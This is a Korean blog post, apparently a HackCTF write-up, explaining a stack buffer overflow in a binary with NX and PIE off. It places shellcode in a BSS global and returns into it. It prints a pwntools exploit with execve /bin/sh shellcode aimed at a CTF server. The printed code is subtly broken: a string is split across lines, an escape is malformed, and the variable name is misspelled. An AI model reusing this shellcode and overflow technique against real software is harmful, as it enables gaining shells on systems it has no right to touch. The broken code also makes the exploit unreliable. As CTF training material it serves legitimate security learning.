반응형
문제를 다운받고 실행시켜 보자
문제는 단순히 이름과 input값을 입력받기만 한다.
checksec로 한번 확인하고 IDA로 까보자
NX가 꺼져있다.
NX가 꺼져있으면 BSS영역에 쉘코드를 집어넣고 실행시킬 수 있다.
해당 문제는 쉘코드를 쓰게끔 의도한거같다.
문제를 보면 name이 전역변수, 즉 BSS영역에 있음을 알 수 있다.
혹시모르니 name변수를 더블클릭해서 확인해보면
역시나 BSS영역이였다.
그리고 위에 checksec한걸 확인해보면 PIE도 꺼져있기 때문에
주소가 고정되어있다.
즉 간단하게 name에 쉘코드를 넣고 s변수는 버퍼오버플로우 시켜서 리턴어드레스를 name으로 돌려버리면
쉘코드가 실행되게 된다.
쉘코드를 만들어주고 pwntools로 익스를 짜보자
from pwn import *
p = remote("ctf.j0n9hyun.xyz", 3003)
# Name 영역
p.recvuntil("Name : ")
p.send("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31
\xc9\x89\xca\x6a\x0b\x58\xcd\x80")
# input 영역
p.recvuntil("input : ")
payload = ("a"*24 + "\x60\xA0\x04\08")
p.send(paylaod)
p.interactive()
반응형
'War Game' 카테고리의 다른 글
HackCTF x64 Simple_size_BOF Write Up (0) | 2020.03.17 |
---|---|
HackCTF x64 Buffer Overflow Write Up (0) | 2020.03.08 |
HackCTF Basic_BOF #2 Write Up (0) | 2020.03.07 |
HackCTF Basic_BOF #1 Write Up (0) | 2020.03.07 |
Do it! 점프 투 파이썬 후기 (0) | 2019.11.24 |